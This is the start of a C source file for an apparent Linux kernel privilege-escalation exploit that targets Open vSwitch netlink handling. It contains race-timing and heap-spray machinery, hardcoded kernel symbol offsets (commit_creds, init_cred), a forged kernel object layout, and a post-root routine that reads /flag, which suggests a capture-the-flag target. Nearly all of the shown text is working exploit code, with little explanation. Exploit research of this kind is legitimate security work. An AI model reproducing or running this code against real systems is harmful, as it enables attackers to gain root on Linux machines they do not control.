1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| /*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include "known_page.h"
#include "leak.h"
#include <errno.h>
#include <arpa/inet.h>
#include <endian.h>
#include <linux/genetlink.h>
#include <linux/fib_rules.h>
#include <linux/futex.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/netlink.h>
#include <linux/openvswitch.h>
#include <linux/rtnetlink.h>
#include <linux/udp.h>
#include <limits.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <fcntl.h>
#include <grp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/mman.h>
#include <sys/epoll.h>
#include <sys/eventfd.h>
#include <sys/timerfd.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#endif
#ifndef NLA_NEXT
#define NLA_NEXT(nla, attrlen) ((attrlen) -= NLA_ALIGN((nla)->nla_len), (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#endif
#ifndef NLA_OK
#define NLA_OK(nla, len) ((len) >= (int)sizeof(struct nlattr) && (nla)->nla_len >= sizeof(struct nlattr) && (nla)->nla_len <= (len))
#endif
#define BUF_SZ 32768
#define DP_NAME "dp_n4r"
#define BULK_TARGETS 1
#define BULK_LINK_GROUP 0x6931U
#define BULK_GENEVE_PORT_BASE 20000U
#define OVS_VPORT_HASH_BUCKETS 1024U
#define WRITERS 1
#define READERS 32
#define ACTIVE_READERS 0
#define SENDERS 32
#define ACTIVE_SENDERS 1
#define SPRAYERS 1
#ifndef ROW41_SPRAY_QUEUES
#define SPRAY_QUEUES 1024
#else
#define SPRAY_QUEUES ROW41_SPRAY_QUEUES
#endif
#define MSG_FIRST_DATA 4048
#define MSG_SEG_DATA 3000
#define SPRAY_LEN (MSG_FIRST_DATA + MSG_SEG_DATA)
#define TEST_FRAME_LEN 256
#define TUN_OPT_BYTES 252
#define EGRESS_METADATA_ACTIONS 512
#define TIMER_CLUSTER_FDS 1
#define TIMER_POLL_SLOTS 512
#define TIMER_NOISE_EPOLL_SETS 1536
#define TIMER_NOISE_EPOLL_MIN_SETS 128
#ifndef ROW41_TIMER_EPOLL_DUPLICATES
#define TIMER_EPOLL_DUPLICATES 1536
#else
#define TIMER_EPOLL_DUPLICATES ROW41_TIMER_EPOLL_DUPLICATES
#endif
#ifndef ROW41_TIMER_POLL_WAITERS
#define TIMER_POLL_WAITERS 2
#else
#define TIMER_POLL_WAITERS ROW41_TIMER_POLL_WAITERS
#endif
#ifndef ROW41_TIMER_CLUSTER_ARM_NS
#define TIMER_CLUSTER_ARM_NS UINT64_C(38000)
#else
#define TIMER_CLUSTER_ARM_NS ROW41_TIMER_CLUSTER_ARM_NS
#endif
#ifndef ROW41_VPORT_GET_BURST
#define ROW41_VPORT_GET_BURST 0
#endif
#ifndef ROW41_VPORT_GET_BURST_COUNT
#define VPORT_GET_BURST_COUNT 512U
#else
#define VPORT_GET_BURST_COUNT ROW41_VPORT_GET_BURST_COUNT
#endif
#ifndef ROW41_SCHED_PREEMPT
#define ROW41_SCHED_PREEMPT 0
#endif
#ifndef ROW41_SCHED_PREEMPT_SPINNERS
#define SCHED_PREEMPT_SPINNERS 128U
#else
#define SCHED_PREEMPT_SPINNERS ROW41_SCHED_PREEMPT_SPINNERS
#endif
#ifndef ROW41_SCHED_PREEMPT_HOLD_NS
#define SCHED_PREEMPT_HOLD_NS UINT64_C(1500000000)
#else
#define SCHED_PREEMPT_HOLD_NS ROW41_SCHED_PREEMPT_HOLD_NS
#endif
#define FLOW_SWEEP_PHASES 4
#define FLOW_CAL_BLOCKS 15
#define FLOW_CAL_DIRECTIONS 2
#define FLOW_CAL_WARMUP_BLOCKS 2
#define FLOW_CAL_SETTLE_US 5000
#define FLOW_CAL_METADATA_QUIET_US 500000
#define FLOW_CAL_MIN_POSITIVE_BLOCKS (FLOW_CAL_BLOCKS / 2 + 1)
#define FLOW_LEAD_MIN_NS UINT64_C(5000)
#define FLOW_LEAD_MAX_NS UINT64_C(200000)
#define FLOW_ABSENT_PORT UINT32_C(65534)
#define FIB_RULES 0
#define HOLD_US 100
#define SPRAY_HOLD_US 20000
#define RUN_SECS 100
#define DECOY_DP_NAME "dp_hold"
#ifndef ROW41_DECOY_FLOWS
#define DECOY_FLOWS 24000U
#else
#define DECOY_FLOWS ROW41_DECOY_FLOWS
#endif
/* The first flush only has to acquire ovs_mutex before the second request is
* queued. Keep the second table independently sized: it is the handoff that
* must remain in ovs_flow_cmd_del() until the post-unlist RTNL gate proves
* that the vulnerable notifier work has been queued. */
#ifndef ROW41_DECOY_FLOWS2
#define DECOY_FLOWS2 DECOY_FLOWS
#else
#define DECOY_FLOWS2 ROW41_DECOY_FLOWS2
#endif
#ifndef ROW41_DECOY_FLUSH2_LEAD_US
#define DECOY_FLUSH2_LEAD_US 1000U
#else
#define DECOY_FLUSH2_LEAD_US ROW41_DECOY_FLUSH2_LEAD_US
#endif
#ifndef ROW41_WRITER_FLUSH_LEAD_US
#define WRITER_FLUSH_LEAD_US 1000U
#else
#define WRITER_FLUSH_LEAD_US ROW41_WRITER_FLUSH_LEAD_US
#endif
#ifndef ROW41_DECOY_FLUSH_NICE
#define DECOY_FLUSH_NICE (-1)
#else
#define DECOY_FLUSH_NICE ROW41_DECOY_FLUSH_NICE
#endif
#ifndef ROW41_DEFER_DECOY_FLUSH_LOG
#define ROW41_DEFER_DECOY_FLUSH_LOG 0
#endif
#ifndef ROW41_WRITER_NICE
#define WRITER_NICE (-1)
#else
#define WRITER_NICE ROW41_WRITER_NICE
#endif
#ifndef ROW41_SPRAYER_NICE
#define SPRAYER_NICE (-1)
#else
#define SPRAYER_NICE ROW41_SPRAYER_NICE
#endif
#ifndef ROW41_POST_UNLIST_DELAY_US
#define POST_UNLIST_DELAY_US 1000U
#else
#define POST_UNLIST_DELAY_US ROW41_POST_UNLIST_DELAY_US
#endif
#ifndef ROW41_WRITER_CPU
#define ROW41_WRITER_CPU 0U
#endif
#ifndef ROW41_STUB_DECOY_FLUSH
#define ROW41_STUB_DECOY_FLUSH 0
#endif
#ifndef ROW41_EARLY_SPRAY
#define ROW41_EARLY_SPRAY 0
#endif
#ifndef ROW41_EARLY_SPRAY_DELAY_NS
#define ROW41_EARLY_SPRAY_DELAY_NS UINT64_C(4000000)
#endif
#ifndef ROW41_POSTSYNC_GATE_TIMER
#define ROW41_POSTSYNC_GATE_TIMER 0
#endif
#ifndef ROW41_DOUBLE_DECOY_FLUSH
#define ROW41_DOUBLE_DECOY_FLUSH 0
#endif
#ifndef ROW41_DECOY_FLUSH_CPU
#define ROW41_DECOY_FLUSH_CPU 1U
#endif
#define DECOY_DP2_NAME "dp_hold2"
#define WRITER_RELEASE_HOLD_NS UINT64_C(120000)
#define POSTSYNC_GATE_MIN_BLOCK_NS UINT64_C(1000000)
#define POSTSYNC_GATE_MAX_BLOCK_NS UINT64_C(2000000000)
#define POSTSYNC_GATE_DEADLINE_NS UINT64_C(2000000000)
#define TIMER_REARM_DEADLINE_NS UINT64_C(5000000000)
#define TIMER_REARM_STABLE_NS UINT64_C(5000000)
#define TIMER_REARM_SAMPLE_US 1000U
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define FEDORA_IMAGE_EDGE_BIAS UINT64_C(0x200000)
#define OFF_COMMIT_CREDS UINT64_C(0x425660)
#define OFF_INIT_CRED UINT64_C(0x2a15840)
#define OFF_INIT_NET UINT64_C(0x3b6d6c0)
#define OFF_DEVCD_DEV_RELEASE UINT64_C(0x1127700)
#define ANCHOR_OPS 0x1000UL
#define ANCHOR_FAILING_DEVICE 0x2000UL
#define DEVCD_DATA 0x2f8UL
#define DEVCD_OWNER 0x330UL
#define DEVCD_FREE 0x340UL
#define DEVCD_FAILING_DEV 0x3a0UL
#define DEVICE_KOBJ_SD 0x30UL
#define DEVICE_KOBJ_KREF 0x38UL
#define DEVICE_KOBJ_STATE 0x3cUL
_Static_assert(DEVCD_FAILING_DEV + sizeof(uint64_t) <=
MSG_SEG_DATA + sizeof(uint64_t),
"devcd overlay exceeds controlled msg_msgseg bytes");
_Static_assert(ANCHOR_FAILING_DEVICE + DEVICE_KOBJ_STATE +
sizeof(uint32_t) <= KNOWN_PAGE_BYTES,
"fake failing device exceeds known page");
enum spray_phase {
SPRAY_IDLE,
SPRAY_DRAIN_REQUEST,
SPRAY_DRAINED,
SPRAY_FILL_REQUEST,
SPRAY_EARLY_FILL_REQUEST,
SPRAY_FILLED,
};
struct nl_sock {
int fd;
uint32_t portid;
uint32_t seq;
};
struct shared {
int fam_dp;
int fam_vport;
int fam_flow;
int fam_packet;
int dp_ifindex;
int canary_ifindex;
uint32_t target_ports[BULK_TARGETS];
char names[BULK_TARGETS][16];
int packet_qdisc_bypass;
uint64_t packet_lead_ns[FLOW_SWEEP_PHASES];
uint64_t packet_prefix_estimate_ns[FLOW_SWEEP_PHASES];
volatile unsigned int bulk_generation;
};
struct writer_arg {
struct shared *sh;
int idx;
};
struct reader_arg {
struct shared *sh;
unsigned int seed;
};
struct sender_arg {
struct shared *sh;
unsigned int id;
};
struct gate_arg {
struct shared *sh;
};
struct poll_waiter_arg {
int *fds;
int fd_count;
int exit_fd;
int id;
};
static volatile sig_atomic_t stop_flag;
static volatile sig_atomic_t run_deadline_requested;
static volatile sig_atomic_t fatal_error;
static volatile int spray_phase = SPRAY_IDLE;
static volatile unsigned long long packets_sent;
static volatile unsigned long long packet_errors;
static volatile unsigned long long consumer_windows;
static volatile unsigned long long action_upcalls;
static volatile unsigned long long reclaim_cycles;
static volatile unsigned long long spray_allocs;
static volatile unsigned long long stalled_reclaims;
static volatile unsigned long long inflight_reclaims;
static volatile unsigned long long straddled_packets;
static volatile unsigned long long post_sync_broad_windows;
static volatile unsigned long long postsync_gate_launches;
static volatile unsigned long long postsync_gate_skips;
static volatile unsigned long long flow_hits_verified;
static volatile unsigned long long flow_hit_failures;
static volatile uint64_t timer_first_ns;
static volatile int timer_cluster_ready;
static volatile unsigned int race_packet_generation;
static volatile uint64_t race_target_ns;
static volatile uint64_t race_lead_ns;
static volatile uint64_t race_packet_target_ns;
static volatile uint64_t race_packet_start_ns;
static volatile uint64_t race_packet_end_ns;
static volatile int poll_waiters_ready;
static volatile int poll_waiters_resident;
static volatile unsigned long long poll_wait_returns;
static volatile unsigned long long poll_wait_errors;
static volatile unsigned long long poll_wait_interrupts;
static volatile unsigned int poll_waiter_policy_ok;
static volatile unsigned int poll_waiter_policy_errors;
static volatile unsigned int poll_waiter_nice_set_errors;
static volatile unsigned int poll_waiter_proc_read_errors;
static volatile unsigned int poll_waiter_proc_parse_errors;
static volatile unsigned int poll_waiter_policy_mismatches;
static volatile unsigned int poll_waiter_nice_mismatches;
static volatile unsigned long poll_drain_generation;
static volatile unsigned long long epoll_drained_events;
static volatile unsigned long long timer_residency_checks;
static volatile unsigned long long timer_residency_timeouts;
static volatile unsigned long long timer_residency_wait_ns;
static volatile unsigned long long phase_launches[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_skips[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_residency_skips[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_straddles[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_broad_windows[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_inflight[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_reclaims[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_stalled[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_flow_hits[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_flow_hit_failures[FLOW_SWEEP_PHASES];
static volatile unsigned long long phase_packet_errors[FLOW_SWEEP_PHASES];
static volatile uint64_t race_delete_lead_ns;
static volatile uint64_t race_unregister_start_ns;
static volatile uint64_t race_unregister_end_ns;
static volatile uint64_t race_fill_done_ns;
static volatile uint64_t race_gate_event_ns;
static volatile uint64_t gate_request_start_ns;
static volatile uint64_t gate_request_end_ns;
static volatile uint64_t gate_unlist_observed_ns;
static volatile unsigned int gate_arm_generation;
static volatile unsigned int gate_done_generation;
static volatile int gate_thread_ready;
static volatile int gate_request_result;
static volatile unsigned int writer_release_generation;
static volatile uint64_t writer_release_event_ns;
static volatile unsigned int sched_preempt_go;
static volatile unsigned int sched_preempt_ready;
static volatile uint64_t sched_preempt_deadline_ns;
static volatile unsigned int group_cycle;
static volatile int decoy_flush_go;
static volatile int decoy_flush_started;
static volatile int decoy_flush_done;
static volatile int decoy_flush2_started;
static volatile int decoy_flush2_done;
static volatile int decoy_handoff_proven;
static volatile unsigned int postunreg_timer_done;
static volatile uint64_t postunreg_irq_target_ns;
static volatile int senders_go;
static volatile int senders_stop;
static volatile uint64_t decoy_flush_start_ns;
static volatile uint64_t decoy_flush_end_ns;
static volatile uint64_t decoy_flush2_start_ns;
static volatile uint64_t decoy_flush2_end_ns;
static int decoy_dp_ifindex;
static int decoy_dp2_ifindex;
static int timer_cluster_fds[TIMER_CLUSTER_FDS];
static int packet_family_id;
static uint64_t kernel_slide;
static uint64_t known_page;
/* Keep V73's independent 0/32/64/96 calibration controls intact. */
static const unsigned int flow_cal_prefix_actions[FLOW_SWEEP_PHASES] = {
0, 32, 64, 96,
};
/* Keep V74's p0 margin sweep unchanged. V74 fresh-01 had only four broad
* samples, exactly matching its four in-flight samples; that is too little
* evidence to attribute the bimodal hardirq coverage to any 500-ns margin.
* V75 isolates waiter rearm and shutdown behavior instead. */
static const unsigned int flow_prefix_actions[FLOW_SWEEP_PHASES] = {
0, 0, 0, 0,
};
static const uint64_t flow_phase_margin_ns[FLOW_SWEEP_PHASES] = {
UINT64_C(22000), UINT64_C(24000), UINT64_C(26000), UINT64_C(28000),
};
static const char *const flow_phase_names[FLOW_SWEEP_PHASES] = {
"p0-m22us", "p0-m24us", "p0-m26us", "p0-m28us",
};
static unsigned int phase_for_generation(unsigned int generation)
{
return generation ? (generation - 1U) % FLOW_SWEEP_PHASES : 0;
}
static void on_sig(int sig)
{
(void)sig;
stop_flag = 1;
}
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void write_all(int fd, const void *buffer, size_t length)
{
const unsigned char *cursor = buffer;
while (length) {
ssize_t done = write(fd, cursor, length);
if (done < 0) {
if (errno == EINTR)
continue;
die("write");
}
cursor += done;
length -= (size_t)done;
}
}
static void try_post_root(void)
{
static const char *paths[] = { "/flag", "/dev/vdb", "/dev/vdc" };
char buffer[4096];
if (geteuid() != 0)
return;
for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
int fd = open(paths[i], O_RDONLY | O_CLOEXEC);
if (fd < 0)
continue;
ssize_t got = read(fd, buffer, sizeof(buffer));
close(fd);
if (got > 0) {
printf("[+] returned to user mode uid=%u euid=%u\n",
getuid(), geteuid());
printf("[+] PROOF unregister_start=%llu consumer_start=%llu unregister_end=%llu fill_done=%llu consumer_end=%llu\n",
(unsigned long long)__atomic_load_n(
&race_unregister_start_ns, __ATOMIC_RELAXED),
(unsigned long long)__atomic_load_n(
&race_packet_start_ns, __ATOMIC_RELAXED),
(unsigned long long)__atomic_load_n(
&race_unregister_end_ns, __ATOMIC_RELAXED),
(unsigned long long)__atomic_load_n(
&race_fill_done_ns, __ATOMIC_RELAXED),
(unsigned long long)__atomic_load_n(
&race_packet_end_ns, __ATOMIC_RELAXED));
write_all(STDOUT_FILENO, buffer, (size_t)got);
|
